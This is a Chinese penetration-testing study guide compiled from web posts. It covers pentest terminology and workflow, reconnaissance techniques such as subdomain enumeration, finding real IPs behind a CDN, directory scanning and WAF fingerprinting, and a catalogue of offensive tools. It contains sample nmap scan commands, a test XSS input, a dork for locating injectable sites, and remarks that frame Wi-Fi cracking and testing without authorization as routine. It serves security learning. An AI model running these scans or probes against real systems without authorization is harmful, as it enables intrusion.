赞
踩
From:https://zhuanlan.zhihu.com/p/401413938
渗透测试实战教学:https://www.zhihu.com/column/c_1334810805263515648
关键字:渗透测试 工程师 养成之路 VIP、渗透测试 实战
学习任何一个学科的时候,都有一个概念很重要:最少必要知识 ( MAKE : Minimal Actionable Knowledge and Experience )
在学习某项技能的时,要用最快的时间摸索清楚 最少必要知识 (MAKE) 都有哪些? 然后迅速地掌握它们,这样就实现了 "快速入门",然后就可以开始 动手实践,然后在实践中验证理论、加深理解,同时继续扩展学习。而学习黑客也是同样的道理,对于新手小白的第一课应该是以掌握基础的安全工具为主,这样在学习的同时可以进行实践,验证所学的知识,同时加以扩展,这样学习效率会大大提升。
漏洞利用数据库 ( 在线实时更新 ) :https://www.exploit-db.com/google-hacking-database
渗透测试基本流程
前期信息收集
子域名信息收集
IP、端口信息收集
网站信息收集寻找突破口
常用工具
常见历史漏洞集合
Java反序列化
常见未授权访问漏洞
密码破解渗透测试框架
Metasploit
Cobaltstrike内网信息收集
windows 主机信息收集
windows 密码凭证获取
域内密码凭证获取
Linux 主机信息收集通道构建
文件传输
内网反弹 shell
Socks 代理
http 代理
ICMP、DNS 隧道权限提升
windows提权
渗透测试框架提权
Linux提权
数据库提权横向移动
横向移动工具
域内横向移动持久控制
windows权限维持
Linux权限维持
域内权限维持清除痕迹
windows痕迹清楚
linux痕迹清楚
1、肉鸡:被黑客入侵并被长期驻扎的计算机或服务器。可以随意控制,可以是任意系统的设备,对象可以是企业,个人,政府等等所有单位。
2、抓鸡:利用使用量大的程序的漏洞,使用自动话方式获取肉鸡的行为。
3、提权:操作系统低权限的账户将自己提升为管理员权限使用的方法。
4、后门:黑客为了对主机进行长期的控制,在机器上种植的一段程序或留下的一个“入口”。
5、跳板:使用肉鸡IP来实施攻击其他目标,以便更好的隐藏自己的身份信息。
6、旁站入侵:即同服务器下的网站入侵,入侵之后可以通过提权目录等手段拿到目标网站的权限。
7、C段入侵:即同C段下服务器入侵。如目标IP为192.168.180.253入侵192.168.180.*的任意一台机器,然后利用一些黑客工具嗅探获取在网络上传输的各种信息。
8、黑盒测试:在未授权的情况下,模拟黑客的攻击方式和思维方式,来评估计算机网络系统可能存在的安全风险。黑盒测试不同于黑客入侵,并不等于黑站。黑盒测试考验的是综合的能力(OS、Database、Script code、思路、社工),思路与经验积累往往决定成败。
9、白盒测试:相对黑盒测试,白盒测试基本是从内部发起的。白盒测试与黑盒测试恰恰相反,测试者可以通过正常渠道向被测单位取得各种资料,包括网络拓扑、员工资料甚至网站或其他程序的代码片段,也能够与单位的其他员工进行面对面的沟通。
10、黑白盒的另外一种说法:知道源代码和不知道源代码的渗透测试。这时,黑盒测试还是传统的渗透测试,而白盒测试就偏向于代码审计。
11、APT(Advanced Persistent Threat)攻击:高级可持续攻击,是指组织(特别是政府)或者小团体利用先进的攻击手段对特定目标进行长期持续性网络攻击的攻击形式。这种攻击方式有三个特点:极强的隐蔽性、潜伏期长持续性强、目标性强。
12、CVE(Common Vulnerabilities and Exposures公共漏洞展示):最初不同安全工具和数据库对同一个漏洞采用各自的命名规则,导致不同安全工具之间交互十分困难;CVE旨在为同一个漏洞提供一个统一而权威的编号以消除命名混乱带来的困难。
13、CVSS(Common Vulnerability Scoring System,通用漏洞评分系统):CVSS是由NIAC(National Infrastructure Advisory Council)开发,FIRST(Forum of Incident Response and Security Teams)维护的一套漏洞评分系统,旨在给人们提供一种漏洞严重性量化方法,可直接使用评分计算器:https://www.first.org/cvss/calculator/3.0。
14、CWE(Common Weakness Enumeration,通用缺陷列表):CVE是对具体漏洞的编号,不同漏洞他们所属的漏洞类型可能是一样的,比如都是缓冲区溢出。CWE正是对漏洞类型的编号,CWE当前共收录了716类安全缺陷。CWE旨在按类型向用户介绍安全缺陷,并提供该缺陷类型的处理方法。漏洞分类最出名的大概是OWASP Top 10,但owasp首先是针对Web的然后是Top10所以它并不全,CWE是更加全面细致的划分。
15、0day:被发现(且一般有exp)但官方尚未发布补丁或者修复方法的Vulnerability。
1day:已被发现,官方刚发布补丁但网络上还大量存在的Vulnerability。
16、Poc(Proof of Concept):能证明漏洞存在的代码。
exp(exploit):能利用漏洞的方式。
payload:攻击载荷,被送到目标机器执行的整段代码。
17、WEB指纹:WEB指纹也叫WEB应用指纹。由于所使用的工具、技术、实现方式等因素的影响,每个web网站都形成了一些独有的特点,我们把这样的特点叫做WEB应用指纹。
WEB指纹分类:
常规渗透测试流程:
明确目标→信息收集→漏洞探测→漏洞验证→信息分析→获取所需→信息整理→形成报告
1、明确目标:
确认范围:测试目标的范围,IP,域名,内外网。
确认规则:能渗透到什么程度,时间,能否提权等。
确认需求:WEB应用的漏洞(新上线程序)?业务逻辑漏洞(针对业务的)?人员权限管理漏洞(针对人员、权限)?等等,要做到立体全方位。
2、信息收集:
方式:主动扫描,开放搜索:利用搜索引擎获得后台,未授权页面,敏感url等。
基础信息:真实IP,网段,域名,端口。
系统信息:操作系统的版本。
应用信息:各端口的应用,例如WEB应用,邮件应用等。
版本信息:所有这些探测到的东西的版本。
人员信息:域名注册人员信息,WEB应用中网站发帖人的id,管理员姓名等。
防护信息:试着看能否探测到防护设备。
3、漏洞探测:
方法:使用漏扫,例如:AWVS、IBM appscan等。
结合漏洞去exploit-db等网址找利用。
在网上寻找验证poc。
内容:系统漏洞:系统没有及时打补丁。
Websever漏洞:Websever配置问题。
Web应用漏洞:Web应用开发问题。
其它端口服务漏洞
通信安全
4、漏洞验证:
自动化验证:结合自动化扫描工具提供的结果。
手动验证:根据公共资源进行验证。
试验验证:自己搭建模拟环境进行验证。
登陆猜解:有时可以尝试猜解一下登陆的账号密码等信息。
业务漏洞验证:如发现业务漏洞,要进行验证。
5、信息分析:
精准打击:准备好上一步探测到的漏洞的exp,用来精准打击。
绕过防御机制:是否有防火墙等设备,如何绕过。
定制攻击路径:最佳工具路径,根据薄弱入口,高内网权限位置,最终目标。
绕过检测机制:是否有检测机制,流量监控,杀毒软件,恶意代码检测等(免杀)。
攻击代码:经过试验得来的代码,包括不限于xss代码,sql注入语句等。
6、获取所需:
实施攻击:根据前几步的结果,进行攻击。
获取内部信息:基础设施(网络连接,路由,拓扑等)。
进一步渗透:内网入侵,敏感目标。
持续性存在:一般我们对客户做渗透不需要。rootkit,后门,添加管理账号等。
清处痕迹:清理相关日志(访问,操作),上传文件等。
7、信息整理:
整理渗透工具:整理渗透过程中用到的代码,poc,exp等。
整理收集信息:整理渗透过程中收集的一切信息。
整理漏洞信息:整理渗透过程中遇到的各种漏洞,各种脆弱位置信息。
目的:为了最后形成报告,形成测试结果使用。
8、形成报告:
按需整理:按照之前第一步跟客户确定好的范围,需要来整理资料,并将资料形成报告。
补充介绍:要对漏洞成因,验证过程和带来危害进行分析。
修补建议:当然要对所有产生的问题提出合理高效安全的解决办法。
渗透测试报告编写:
封皮
明确重点和要求
给谁看?不同职位的人关注的侧重点不一样
内容提要
漏洞列表(一页纸内)
过程清晰准确
工具(版本和功能)
渗透测试团队成员及联系方式
信息收集
①:域名信息
1、whois
用法:在线工具:http://whois.chinaz.com 或 kali 终端输入whois
注册人、邮箱、地址、电话、DNS
2、Google hack robots(敏感目录)
3、IP信息:旁站,C段,端口 nmap ,端口对应的服务 msf
4、旁注:Bing查询,VPS注意权限
5、CDN:Cloudfiare , 从子域入手:mail,postfix,http://i.links.cn (查看ip,从结果分析是否使用了CDN),DNS传送域漏洞 (使用nslookup)
②:服务器、组件(指纹)
1、操作系统,web server(apache nginx,iis),程序语言
github 渗透测试资源集合:https://github.com/enaqx/awesome-pentest
github 搜索:https://github.com/search?q=pentest
github 搜索:https://github.com/search?q=penetration
国外整理的一套在线渗透测试资源合集:https://blog.csdn.net/h4ck0ne/article/details/50570687
Kali 的前身是 BackTrack Linux,由进攻性安全部门的专业人员维护,自带很多黑客工具,是黑客专用的操作系统。Kali 最擅长进攻,而不是防守,而且很容易被利用。所以不要在你的 Kali 虚拟机中保存你的重要机密文件和安装在物理机上。
一款非常强大的主机发现和端口扫描工具,而且 nmap 运用自带的脚本,还能完成漏洞检测,同时支持多平台。作为端口扫描器的鼻祖,nmap (network mapper) 是一种久经考验的测试工具,很少有人能离开它。哪些端口是开放的? 那些端口上运行着什么? 这是 pentester 在测试阶段必不可少的信息,nmap 通常是这项工作的最佳工具。尽管偶尔会有不懂技术的高管歇斯底里地表示,某个未知方正在对企业进行端口扫描,但 nmap 本身是完全合法的,就像敲邻居的前门,看看是否有人在家一样。许多合法的组织,如保险公司、Shodan 和 Censys 这样的互联网制图师,以及 BitSight 这样的风险评分者,都会定期使用专门的端口扫描软件(通常是 nmap 的竞争对手 masscan 或 zmap )扫描整个 IPv4 范围,以绘制大大小小企业的公共安全态势。也就是说,恶意的攻击者也会进行端口扫描,所以需要进行日志记录,以便将来参考。
黑客工具之Nmap详细使用教程:https://zhuanlan.zhihu.com/p/395344698
在 sqlmap 之前,必须精心设计SQL,然后注入测试,看有没有 SQL 注入漏洞。Sqlmap 出现后,可以使用 sqlmap 自动检测服务器上的数据库是否存在的SQL注入漏洞。
官网:https://sqlmap.org/
github:https://github.com/sqlmapproject/sqlmap
教程 ( 黑客工具之Sqlmap详细使用教程 ):https://zhuanlan.zhihu.com/p/394955217
对于大多数的测试者而言,Metasploit 自动化了大量以前繁琐的工作,并且真正成为 "世界上最常用的渗透测试框架" ,正如它的网站所鼓吹的那样。Metasploit 是一个由Rapid7 提供商业支持的开源项目,对于防御者来说,它是保护他们的系统免受攻击的必备工具。Metasploit Framework 可以黑掉整个星球。Metasploit Framework(MSF) 是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit 可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的 Metasploit 是采用 Perl 语言编写的,但是再后来的新版中,改成了用 Ruby 语言编写的了。kali 自带 Metasploit 社区版。专业版是收费的。
官网:https://www.metasploit.com/
教程:
Burp Suite 是一个非常有效的web漏洞扫描器。同时也是用于攻击 Web 应用程序的集合平台,包含了许多工具。BurpSuite 为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP消息、持久性、认证、代理、日志、警报。
Burp 的竞争对手 Nessus 也提供了同样有效(且价格相似)的产品。
BurpSuite 分为 社区版、专业版。社区版功能很弱,专业版收费。
教程:黑客工具之BurpSuite详解:https://zhuanlan.zhihu.com/p/401134233
没钱买 Burp Suite pro 时,可以使用 OWASP 的 Zed 攻击代理(ZAP)几乎同样有效,而且它是免费的软件。顾名思义,ZAP位于浏览器和测试网站之间,允许您拦截(也就是中间人)流量来检查和修改。它缺乏Burp的许多花哨功能,但它的开源许可使其更容易、更便宜地大规模部署,而且它是一个很好的初学者工具,可以让他们了解 web 流量到底有多脆弱。
ZAP 的竞争对手 Nikto 也提供了类似的开源工具。
Nikto 是一款开源的(GPL)Web服务器扫描器,它可以对 Web 服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件CGIs,超过625种服务器版本,以及超过230种特定服务器问题。
Netcat 拥有 "瑞士军刀" 的美誉。nc 小巧强悍,可以读写 TCP 或 UDP 网络连接,它被设计成一个可靠的后端工具,能被其它的程序或脚本直接驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能,它基于socket协议工作。在渗透测试领域通常利用它来反弹 shell。
黑客工具之Netcat详细使用教程:https://zhuanlan.zhihu.com/p/397058259
Wireshark 用来处理网络传输的流量。虽然Wireshark 通常用于深入研究日常 TCP/IP 连接问题,但它支持对数百个协议的分析,包括对其中许多协议的实时分析和解密支持。如果您是测试新手,Wireshark 是一个必须学习的工具。Wireshark(原名Ethereal)是一个网络封包分析软件。可以用来交互式分析网络流量(网络协议)。网络封包分析软件的功能是截取网络封包,并尽可能显示出最为详细的网络封包资料。
aircrack-ng 是 无线安全审计工具。如今,由于配置不当、密码错误或加密协议过时,致使破解 wifi 常常是可能的。Aircrack-ng 是许多人的首选。Aircrack 是一套用于破解 WEP 和 WPA 的工具套装,一般用于无线网络的密钥破解,从而非法进入未经许可的无线网络,是最快的 WEP / WPA 破解工具。只要一旦收集到足够的加密数据包,利用它就可以破解40到512位的WEP密匙,也可以通过高级加密方法或暴力破解来破解 WPA1 或2网络。
Sandcat
渗透测试专用firefox浏览器
渗透 专用 浏览器:https://www.52pojie.cn/thread-1079087-1-1.html
第三方谷歌扩展商店,不开代理即可访问:https://www.crx4chrome.com/
渗透测试中谷歌浏览器插件汇总。
34款 Firefox 渗透测试插件:https://cloud.tencent.com/developer/article/1097117
工欲善必先利其器,firefox一直是各位渗透师必备的利器,这里推荐34款firefox渗透测试辅助插件,其中包含渗透测试、信息收集、代理、加密解密等功能。
渗透 超全面的渗透资料包含:0day,xss,sql注入,提权 等:https://github.com/diezhao/penetration
注意:根据获得服务、中间件信息、编辑器版本、数据库等 OSINT 去各大漏洞库、搜索引擎找漏洞利用。
From:https://www.kancloud.cn/wintry/p-tools/598518
:https://www.bilibili.com/video/BV1se411g7SA?p=35
为什么进行 "子域名收集" ?
子域名 是指二级域名,二级域名是顶级域名的下一级。收集的子域名越多,挖到的 SRC 可能性就越大。如果只收集主站或者常用的域名,有可能已经被其他大佬挖过并提交。
WEB信息 / 资产收集 的 武器库
1、ARL资产侦察灯塔系统
https://github.com/TophantTechnology/ARL
简介:旨在快速侦察与目标关联的互联网资产,构建基础资产信息库。协助甲方安全团队或者渗透测试人员有效侦察和检索资产,发现存在的薄弱点和攻击面。2、LangSrcCurise资产监控系统
https://github.com/LangziFun/LangSrcCurise
简介:LangSrcCurise资产监控系统是一套通过网络搜索引擎监控其下指定域名,并且能进行持续性信息收集整理的自动化资产监控管理系统,基于Django开发。3、hawkeye
https://github.com/0xbug/Hawkeye
简介:监控github代码库,及时发现员工托管公司代码到GitHub行为并预警,降低代码泄露风险。4、dirsearch
https://github.com/maurosoria/dirsearch
简介:Dirsearch是一个成熟的命令行工具,主要用于探测WEB服务器下的敏感文件/目录。
快速使用:python3 dirsearch.py -u <URL> -e *
-e *:代表探测所有后缀目录文件。也可以指定特定文件后缀,比如:-e php5、JSfinder
https://github.com/Threezh1/JSFinder
简介:JSFinder是一款用作快速在网站的js文件中提取URL,子域名的工具。
快速使用:python JSFinder.py -u http://www.baidu.com
6、Linkfinder
https://github.com/GerbenJavado/LinkFinder
简介:Linkfinder基于python,是一款用于发现JavaScript脚本中链接以及敏感参数的工具
快速使用:python3 linkfinder.py -i http://www.baidu.com -d
-i:指定url,或者js文件地址
-d:如果只指定域名,则配合-d参数自动枚举js文件7、httpx
https://github.com/projectdiscovery/httpx
简介:httpx可以用于批量检测域名存活性,并且可以根据规则获取响应title,ip地址,响应状态码等,具体如下:
快速使用:httpx -l 域名列表txt -title -content-length -status-code8、MarkInfo
https://github.com/UUUUnotfound/BurpSuite-Extender-MarkInfo
简介:一款用于Burp标记敏感信息的插件工具
快速使用:BurpSuite -> Tab:Extender -> Tab:Extensions -> Add9、白鹿社工字典生成器
链接:https://pan.baidu.com/s/1UDP7QSyenroHQBCgfYD4EA
提取码:wyh3
简介:一款可以用于自定义字典的工具10、TheKingOfDuck的FuzzDicts
https://github.com/TheKingOfDuck/fuzzDicts
简介:Web Pentesting Fuzz 字典,一个就够了。11、网盘在线搜索工具
凌风云:https://www.lingfengyun.com/
蓝菊花:http://www.lanjuhua.com/
大力盘:https://www.dalipan.com/
猪猪盘:http://www.zhuzhupan.com/
PanSou:http://www.pansou.com/
盘飞飞:https://panfeifei.com/12、一些在线网站、
https://iao.su/2495/
http://www.beianbeian.com/
https://www.dnsdb.io/zh-cn/
https://www.shodan.io/
https://who.is/
https://www.virustotal.com/gui/home/search
https://www.netcraft.com/apps/?r=toolbar
关键字:域名 备案 whois 子域名收集 爆破 挖掘 枚举
网络安全信息收集之域名探测:https://zhuanlan.zhihu.com/p/348703086
子域名 旁站 C段
网站(web) 文件 目录 扫描 爆破 枚举
whois 信息
站长工具域名查询
ip 反查
邮箱反查现在网站一般都是https,这就需要颁发的SSL证书,通过注册的证书信息,就可以查找子域名。SSL 证书查询( 通过证书查找子域名 ):https://crt.sh/
通过 js 文件发现子域名:jsfinder :https://github.com/Threezh1/JSFinder子域收集工具:https://github.com/shmilylty/OneForAll
子域名 爆破
- :https://github.com/search?q=子域名+爆破
- :https://github.com/search?q=subdomain
- DNS 暴力枚举工具:https://github.com/lijiejie/subDomainsBrute
搜索引擎高级用法进行域名搜索
inurl:php?id=1 搜索可能存在注入的网站
site:baidu.com 搜索baidu.com这个域名下的网站
site:.jp 搜索 .jp 这个域名下的网站
site:.tw 搜索 .tw 这个域名下的网站
第三方网站查询。
直接搜索 "子域名 查询" 可以找到很多第三方网站,可以在上面查询
:https://tool.chinaz.com/subdomain信息安全必备的几款网络搜索引擎,网络空间资产搜索引擎:Shodan,censys,Google,FoFa,Dnsdb 等
- shodan:https://www.shodan.io
- ZoomEye:https://www.zoomeye.org
- censys:Censys Search
- fofa ( 需要注册 ):https://fofa.info/
- DNSdb:https://www.dnsdb.io/zh-cn/
- 微步在线x情报社区:https://x.threatbook.com/
如果渗透目标为 虚拟主机,那么通过 IP 反查到的域名信息很有价值,因为一台物理服务器上面可能运行多个虚拟主机,这些虚拟主机有不同的域名,但通常共用一个 lP 地址。如果你知道有哪些网站共用这台服务器,就有可能通过此台服务器上其他网站的漏洞获取服务器控制权,进而迂回获取渗透目标的权限,这种技术也称为 " ‘旁注 "。
场景:如果有一个虚拟主机的IP,则可以通过这个 IP 反查域名,得到域名后,在进行 子域名收集
:http://tools.ipip.net/ipdomain.php
同 IP 域名查询:http://stool.chinaz.com/same
站长之家 工具列表:https://ntool.chinaz.com/tools/nav
通过 域名 查询 IP:https://ip.tool.chinaz.com/
CDN到底是什么?浅析一下CDN内容分发网络:https://blog.csdn.net/m0_55724788/article/details/123898848
超级ping ( 多个地点ping 检测,查看ip地址是否相同,来判断是否使用了 cdn )
在线工具
From:https://zhuanlan.zhihu.com/p/33440472
判断 ip 是否为网站真实 ip
- 1. Nslookup:Win 下使用 nslookup 命令进行查询,若返回域名解析结果为多个ip,多半使用了CDN,是不真实的ip。
- 2. 多地 ping 查询。使用不同区域 ping,查看ping的ip结果是否唯一。若不唯一,则目标网站可能存在CDN。网站有:
:https://asm.ca.com/en/ping.php/
:https://ping.aizhan.com/
站长之家 ping:https://ping.chinaz.com/
webkaka.com :http://www.webkaka.com/Ping.aspx
ipip.net:http://tools.ipip.net/newping.php- 3. 使用工具直接查询。参见如下网站:
:http://www.cdnplanet.com/tools/cdnfinder/
:https://www.ipip.net/ip.html
绕过 CDN 查找真实 ip
- 1. 子域名入手。某些企业业务线众多,有些站点的主站使用了CDN,或者部分域名使用了CDN,某些子域名可能未使用。查询子域名的方法就很多了:subDomainsBrute、Sublist3r、Google hack 等。还有某些网站可以进行查询。例如:https://dnsdb.io/zh-cn/
- 2. 利用网站漏洞。如果目标站点存在漏洞,这就没办法避免了。例如 phpinfo 敏感信息泄露、Apache status 和 Jboss status 敏感信息泄露、网页源代码泄露、svn 信息泄露信、github 信息泄露等。若存在 web 漏洞,服务器主动与我们发起请求连接,我们也能获取目标站点真实 ip。例如 xss、ssrf、命令执行反弹shell等。
- 3. 历史 DNS 记录。查询ip与域名绑定历史记录,可能会发现使用CDN之前的目标ip。查询网站有:
:https://dnsdb.io/zh-cn/
:https://x.threatbook.cn/
:http://toolbar.netcraft.com/site_report?url=
:http://viewdns.info/
:http://www.17ce.com/
:https://community.riskiq.com/
:http://www.crimeflare.com/cfssl.html- 4. CDN 本身入手。若从CDN本身入手,比如利用社工等,得到控制面板的账号密码,那真实 ip 就很轻易能获取到了。
- 5. Mx记录或邮件。很多站点都有发送邮件sendmail的功能,如Rss邮件订阅等。而且一般的邮件系统很多都是在内部,没有经过CDN的解析。可在邮件源码里面就会包含服务器的真实 IP。
- 6. 国外请求。通过国外得一些冷门得DNS或IP去请求目标,很多时候国内得CDN对国外得覆盖面并不是很广,故此可以利用此特点进行探测。 通过国外代理访问就能查看真实IP了,或者通过国外的DNS解析,可能就能得到真实的IP查询网站 ( 关键字:国外 ping、全球 海外 ping、多地 ping ):https://asm.ca.com/en/ping.php
示例:https://www.itdog.cn/ping/www.shmn66.com- 7. 扫描探测。通过信息收集,缩小扫描范围,确定一个相对小的IP和端口范围(中国?AS号?B段?等)通过http指纹特征和keyword等做综合判断。可使用工具如下:
https://github.com/zmap/zgrab/
http://www.ipdeny.com/ipblocks/
zgrab 是基于zmap无状态扫描的应用层扫描器,可以自定义数据包,以及 ip、domain 之间的关联。可用于快速指纹识别爆破等场景。
利用 Zgrab 绕 CDN 找真实 IP:https://levyhsu.com/2017/05/05/利用zgrab绕cdn找真实ip/- 8. Zmap大法?据说扫描全网,只要44分钟?可参考这篇文章:简单获取CDN背后网站的真实IP
- 9. 网络空间引擎搜索法。zoomeye、fofa、shodan 通过这些公开的安全搜索引擎爬取得历史快照,主要得一些特征总结如下:
特有的http头部(如server类型、版本、cookie等信息)、
特定keyword(如title、css、js、url等)、
特定的IP段搜索(如fofa支持C段搜索),
有些时候爬取的时候不一定含有上面那些特征,但是我们仍然需要仔细排查。- 10. 查询 Https 证书。此方法来自于去年CplusHua表哥在Freebuf公开课《HTTP盲攻击的几种思路》中分享的:查询网站:https://censys.io/
这个网址会将互联网所有的ip进行扫面和连接,以及证书探测。若目标站点有https证书,并且默认虚拟主机配了https证书,我们就可以找所有目标站点是该https证书的站点。
443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:www.xxx.com- 11. F5 LTM 负载均衡解码获取真实内网 ip。
之前看了这篇文章:透过F5获取服务器真实内网IP - ThreatHunter
我就在想,假如目标站点有CDN,是否就跟F5做负载均衡冲突了?是否需要找到目标站点 真实ip,才能通过F5获取目标真实内网ip?所以以为可能该方法不能用来绕过CDN获取真实IP。
今天咨询了下hblf表哥:他说应该不会冲突,之前碰到过案例:某企业先在内网出口使用F5做ISP的链路负载均衡,然后再用CDN加速。这样的话,客户端还是可以看到F5埋的那个cookie。而且经过CDN,埋的cookie不会被修改或者删除,所以客户端还是可以看到。
通过解码就可以得到目标服务器真实内网ip。具体方法和原理参见hblf表哥的这篇文章。
所以就把该方法也总结在这儿。
查看 IP 与域名绑定的历史记录,可能会存在使用 CDN 前的记录,
域名注册完成后,首先需要做域名解析,域名解析就是把域名指向网站所在服务器的 IP,让人们通过注册的域名可以访问到网站。 IP地址是网络上标识服务器的数字地址,为了方便记忆,使用域名来代替 IP地址。域名解析就是 域名 到 IP地址 的转换过程,域名的解析工作由 DNS 服务器完成。 DNS 服务器会把域名解析到一个 IP地址,然后在此 IP地址 的主机上将一个子目录与域名绑定。域名解析时会添加解析记录,这些记录有: A记录、AAAA记录、 CNAME记录、MX记录、NS记录、TXT记录、SRV记录、URL转发
dnsdb:https://www.dnsdb.io/zh-cn/
securitytrails.com:https://securitytrails.com/
viewdns.info:https://viewdns.info/
ip138:https://www.ip138.com/
微步在线x情报社区:https://x.threatbook.com/
这里的 C段 指的时同一网段的其他 IP 地址。
工具:nmap、cwebscan
信息收集之端口 & 网站信息收集:https://www.bilibili.com/video/BV1YT411A7fy?p=8
nmap 扫描之王、端口扫描神器。
如果把 服务器 比作 房子,那么 端口 可以看作是通向不同房间(服务)的 门,如果不考虑细节的话,这是一个不错的比喻。入侵者要占领这间房子,势必要破门而入(物理入侵另说),那么对于入侵者来说,了解房子开了几扇门,都是什么样的门,门后面有什么东西就显得至关重要。
入侵者通常会用 扫描器 对目标主机的 端口 进行扫描,以确定哪些端口是开放的,从开放的端口入侵者可以知道目标主机大致提供了哪些服务,进而猜测可能存在的漏洞。
计算机的端口、端口漏洞:https://blog.csdn.net/freeking101/article/details/70174350
nmap 扫描示例:
nmap 192.168.1.3 扫描单一主机
nmap 192.168.1.3/24 扫描子网
nmap 192.168.1.3 192.168.1.5 扫描多个主机
nmap 192.168.1.3-10 扫描一个范围的主机
nmap -iL ip地址列表.txt 扫描指定IP地址列表文件
nmap -A 192.168.1.3 全面扫描排除指定指定IP扫描
nmap 192.168.1.3/24 --exclude 192.168.1.1
nmap 192.168.1.3/24 --exclude 排除的ip地址列表.txtnmap -p 80,21,23,139,445 192.168.1.3 扫描指定端口
nmap -sS -p 0-65535 192.168.1.3 扫描全部端口(非常慢)
nmap -O 192.168.1.3 检测操作系统
nmap -sV 192.168.1.3 检测版本
nmap -p445 -v --script="smb*" 192.168.1.3/24 指定脚本进行漏洞扫描
假如现在拿到一个网站是 CMS,当探测到网站的架构和中间件时,下一步就是对他们进行攻击,但是攻击时不可能自己去写攻击脚本,所以就需要拿现有的漏洞(比如查看历史漏洞)去进行攻击。
场景:假设现在知道 80 端口运行的 apache 服务,就可以直接在漏洞网站上搜索 apache,会显示收录的所有 apache 的漏洞,点击漏洞进入详情页,可以下载 exploit 并使用这个利用漏洞。
历史漏洞网站
乌云镜像站:
乌云历史漏洞:http://wy.zone.ci/
乌云知识库:http://wooyun.kieran.top
exploit-db:https://www.exploit-db.com/
知道创宇 seebug:https://www.seebug.org/
cvedetails:https://www.cvedetails.com/
渗透师导航 --- 漏洞平台:https://www.shentoushi.top/indexsearchsploit 漏洞查找工具使用指南:https://blog.csdn.net/whatday/article/details/102806149
:https://wiki.0-sec.org
:https://0x00sec.org/
whatweb、wappalyzer
黑客工具之 whatweb 详细使用教程:https://zhuanlan.zhihu.com/p/396345123
脚本类型:php、jsp、asp/aspx、python 等。。。
数据库类型:mysql、sqlserver、access、oracel 等。。。
CMS ( 内容管理系统 ) 识别。CMS 是有很多漏洞的,养活了大部分渗透测试工程师。常见的 cms:
在线指纹识别,在线 cms 识别:http://whatweb.bugscaner.com/look/
onlinetools:https://github.com/search?q=onlinetools
网站目录扫描工具: 御剑、dirbuster、Webdirscan、wfuzz
网站后台扫描工具都是利用目录字典进行爆破扫描,字典越多,扫描到的结果也越多。
黑客工具之网站后台扫描工具详细使用教程:https://zhuanlan.zhihu.com/p/395689804
github
.git
".git" intitle:"index of"
https://github.com/search?q=githack 可以通过.git下载并恢复源码
.svn (同 .git)
".svn" intitle:"index of"
https://github.com/search?q=svnexploit
.DS_Store
MAC 电脑开发时的缓存文件。
.hg
.bzr
cvs
WEB-INF/web.xml
web-inf 是 java的web应用的安全目录。
网站备份文件
是指管理员误将网站备份文件或者敏感信息存放在网站的某个目录下。
https://github.com/7kbstorm/7kbscan-WebPathBrute目录探测
dirsearch:https://github.com/search?q=dirsearch
dirmap:https://github.com/search?q=dirmap
御剑后台扫描工具
spring boot 扫描 漏洞
Web 应用防火墙(Web Application Firewall, WAF),通过对 HTTP(S) 请求进行检测,识别并阻断SQL注入、跨站脚本攻击(Cross Site Scripting xss)、网页木马上传、命令/代码注入、文件包含、敏感文件访问、第三方应用漏洞攻击、CC(挑战黑洞)攻击、恶意爬虫扫描、跨站请求伪造等攻击,保护Web服务安全稳定。
通俗的理解:用于保护网站,防黑客,防网络攻击 的 完全防护系统。是最有效、最直接的 web 安全防护产品。
通常情况下的WAF应用防护示意图
waf 拦截示例:
以美团为例:搜索时输入 <img src=1 οnerrοr=alert()>
有免费开源的 waf,也有收费的 waf
Waf 功能:
waf 识别工具 :
wafw00f 是用来探测目标 web防火墙的信息。wafw00f 执行 python setup.py install 安装后,需要重新载入命令窗口才能使用。命令 ( 就是这么简单 ):wafw00f http://www.51xkx.cn
使用 nmap 的 script 扫描 waf :nmap -p80,443 www.hnu.edu.cn --script="*waf*"
常见 waf 拦截页面总结
关键字:常见 waf 拦截页面总结
盘点:常见WAF进程/服务与WAF识别总结:https://www.secrss.com/articles/27147
最全的文件上传漏洞之WAF拦截绕过总结:https://www.wangan.com/p/7fy7fg043e2a34a9
干货 | 常见WAF拦截页面总结:https://zhuanlan.zhihu.com/p/335602174
看图识WAF-搜集常见WAF拦截页面:https://mp.weixin.qq.com/s/3uUZKryCufQ_HcuMc8ZgQQ
p0f 采用被动的方式方法探测目标主机的操作系统类型。这个程序通过自身发出的 TCP 包分析操作系统类型。通过 ping 数据包和 TTL 的长度判断 windows 和 linux。
基于 ARP 的网络扫描工具 netdiscover,ARP 是将 IP 地址转化物理地址的网络协议。通过该协议,可以判断某个 IP 地址是否被使用,从而发现网络中存活的主机。
使用很简单(扫描本地网络):netdiscover -r 192.168.146.0/24 // 使用本机IP段
工具官网:http://sparta.secforce.com/
Sparta 是 nmap、nikto、hydra 等工具的集合,利用各个优秀工具的结合,使渗透测试更加便捷。
sudo apt install python3-sqlalchemy python3-pyqt5 wkhtmltopdf
apt-get install ldap-utils rwho rsh-client x11-apps finger
cd /usr/share/
git clone https://github.com/secforce/sparta.git把 sparta 文件放到 /usr/bin/ 目录下,并添加执行权限,然后在 kali 用户下 ( 不是 root 用户) 终端执行命令:sudo python sparta.py &
相关使用:
用 Sparta 信息收集扫描爆破集成工具:https://www.bilibili.com/read/cv14115759
Kali工具库之Sparta(斯巴达)--- 信息收集扫描爆破集成:https://zhuanlan.zhihu.com/p/31676357
Google Hacking 是利用谷歌搜索的强大,来在浩瀚的互联网中搜索到我们需要的信息。轻量级的搜索可以搜素出一些遗留后门,不想被发现的后台入口,中量级的搜索出一些用户信息泄露,源代码泄露,未授权访问等等,重量级的则可能是mdb文件下载,CMS 未被锁定install页面,网站配置密码,php远程文件包含漏洞等重要信息
黑客工具之 Google Hacking 的简单用法:https://zhuanlan.zhihu.com/p/400365865
基本搜索
高级搜索
intext: 寻找正文中含有关键字的网页,
示例: intext:后台登录 //将只返回正文中包含 后台登录 的网页intitle: 寻找标题中含有关键字的网页,
示例: intitle:后台登录 //将只返回标题中包含 后台登录 的网页,
